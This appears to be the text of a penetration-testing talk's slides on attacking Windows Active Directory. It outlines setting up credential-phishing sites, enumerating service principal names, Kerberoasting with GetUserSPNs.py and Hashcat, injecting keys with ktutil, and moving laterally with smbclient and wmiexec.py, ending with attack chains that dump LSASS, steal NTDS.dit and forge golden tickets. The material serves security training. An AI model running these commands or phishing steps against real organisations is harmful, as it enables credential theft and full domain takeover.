AGENDA

• Phishing Creds & Password Reuse

• Introduction to AD Reconnaissance

• Windows Service Account background (SPNS)

• Fun With Windows Service Accounts

• Windows Delegation & Built-In Windows Tools

• Why I don’t like NTLM Hash (Kerberos Only)

• Playing with Kerberos Authentication

• Improvise
Creds/VPN srvs

- Recon & Identify target services e.g. Office 365 😊

- Build replicate templates (html/css/javascript, PHP & code execution)

- GoDaddy >> Go Phishing Service Provider

- Lets encrypt (SSL Cert)

- Build Mail Server (SPF, DKIM, DMARC)

- Third Party Mail Service (Instant reputation)

- 2FA?
Service Principal Names

• Service Principal Names (SPNS) are used in Active Directory to tie service into Kerberos authentication

• We can use SPN to identify running services on Active Directory domain

• SPN can be queried through Linux LDAP command line or SPN.exe on windows

  • Ldapsearch –LLL –x -H ldap://cryotiambient.com –D ambientuser@cryotoambient.com” –W –b “dc=lab,dc=cryotoambient,dc=com” “servicePrincipalName=*” sAMAaccountName servicePrincipalName

• Windows (setspn.exe –Q */*. )
Requesting TGS Ticket Granting Service

• Anyone with basic domain credential can request TGS for a SPN

• E.g. Access to Remote desktop Protocol (RDP) use TGT to request TGS for TERMSRV/Secureserver

• TGS ticket encrypted with the service account NTLM password hash

• TGS can be cracked offline to extract clear text password (Hashcat, John cracker)

• For a service account its very common (legacy) to set SPNs to a user account e.g. domain admin, administrator

• Welcome to KERBEROASTING (Found and presented by Tim Median)
Roasting Kerberos

• Basic valid domain user account

• Identify SPN(s) tied to a user account (LDAP, Setspn.exe)

• Request a Ticket Granting Service for list of SPNs

• Offline crack the TGS ticket to recover service account’s

• Python GetUserSPNs.py –request cryotoambient.com/ambienuser:Password123
getUserSPNs.py --request -dc-ip cryotoambient.com/ambientuser

Hashcat --m 13100 --force /opt/tgtresponses.txt rockyou.txt

For tips on supplying more work – workload adjusted.

Approaching final keyspaces - workload adjusted.
No more Pth Pass The Hash....

- Scenario: dropped on a network with network security: Restrict NTLM authentication in this domain (Deny all)
- Sorry mate NTLM is dead here 😊
- Secure environment
- Challenge / Response Authentication Over RPC
- Kali tools no longer work, MSF, CrackMeExec 😞 😞 😞 😞 😞
Kerberos

- Hound of Hades (Multi-Headed- Dog that guards the Gates of the underworld to prevent dead from leaving

- You can’t escape unless you speak Kerberos ??

- In nutshell

- A protocol for authentication

- Uses ticket to authenticate (TGT/TGS)

- Avoids storing password locally

- Not authorization protocol
Kerberos Ticket Exchange

Pre-Auth – TimeStamp
• We can play Kerberos and forget about NTLM in a none NTLM environment

• Linux can Kerberos using open source Kerberos package (Hemidial-clients)

• Configure KDC, RELAM, DNS, Time /etc/krb5.conf

```bash
[libdefaults]
default_realm = CRYPTOAMBIENT.COM

# The following krb5.conf variables are only for MIT Kerberos
# if uncommented. In general, the defaults in the MIT Kerberos code are
# correct and overriding these specifications only serves to disable new
# encryption types as they are added, creating interoperability problems.
#
# The only time when you might need to uncomment these lines and change
# the enotypes is if you have local software that will break on ticket
# caches containing ticket encryption types it doesn’t know about (such as
# old versions of Sun Java).
#
# default_tgs_enotypes = des3-hmac-shal
# default_ktt_enotypes = des3-hmac-shal
# permitted_enotypes = des3-hmac-shal
#
# The following libdefaults parameters are only for Heimdall Kerberos.
# fcc-mit-ticketflags = true

[realms]
CRYPTOAMBIENT.COM = {
    kdc = tcp/sec-pri-01.cryptoambient.com
    #kdc = kerberos-1.mit.edu
    #kdc = kerberos-2.mit.edu:88
    #admin_server = kerberos.mit.edu
    admin_server = sec-pri-01.cryptoambient.com
    default_domain = sec-pri-01.cryptoambient.com
}
```
Kinit, Klist, ktutil

- **Kinit** - Obtains and renew Ticket granting ticket

- **Klist** displays entries in local credential cache and key table

- **Ktutil** command utility to read/write edit entries in keytab or srvtab file in Kerberos (v4)
Ktutil Key Injection

• Ktutil –t k to create a specific Kerberos keytab file

```
root@Nebu:/tmp# ktutil -k szane.keytab add -p szane@CRYOTOAMBIENT.COM -e arcfour-hmac-md5 -V 1
```

Password:
Verify password - Password:

```
root@Nebu:/tmp# ls -la szane.keytab
```

```
-rw------- 1 root root 140 Oct 23 10:51 szane.keytab
```

```
root@Nebu:/tmp# ktutil -k szane.keytab list
```

```
szane.keytab:
Vno Type Principal Aliases
 1 arcfour-hmac-md5 szane@CRYOTOAMBIENT.COM
 1 arcfour-hmac-md5 szane@CRYOTOAMBIENT.COM
```

```
root@Nebu:/tmp# kinit -t mykerb.keytab to inject the tgt to /tmp/krb5cc
```

```
root@Nebu:/tmp# kinit -t mykerb.keytab szane@CRYOTOAMBIENT.COM
root@Nebu:/tmp# klist
Credentials cache: FILE:/tmp/krb5cc 0
Principal: szane@CRYOTOAMBIENT.COM
```

<table>
<thead>
<tr>
<th>Issued</th>
<th>Expires</th>
<th>Principal</th>
</tr>
</thead>
</table>
Tools with Kerberos

• Impacket Kali tools to use with Kerberos TGT Ticket

```
root@Nebu:/tmp# smbclient --kerberos //amytis.cryptoambient.com/IPC$
Try "help" to get a list of possible commands.
```

```
allinfo  altname  archive  backup
blocksize  cancel  case_sensitive  cd  chmod
dchown  close  del  deltree  dir
du  echo  exit  get  getfacl
getseas  hardlink  help  history  iosize
lcd  link  lock  lowercase  ls
mask  md  mget  mkdir
```

• Wmiexec.py –k –no-pass ambientuser@amytis.cryptoambient.com
Tools with Kerberos

• Demo 1

Citrix creds harvesting > initial foothold > Krb roasting > delegation abuse > LSASS memory dump > Path the hash > Steal NTDS dit & SYSTEM file > Transfer files to my attacking machine > unpack the Russian Doll (NTDS.dit)

• Demo 2

NTLM Deny All Environment > MIT Kerberos client > Establish Kerberos ticket > KDC > Generate Golden Ticket > Gain Access to the target server again.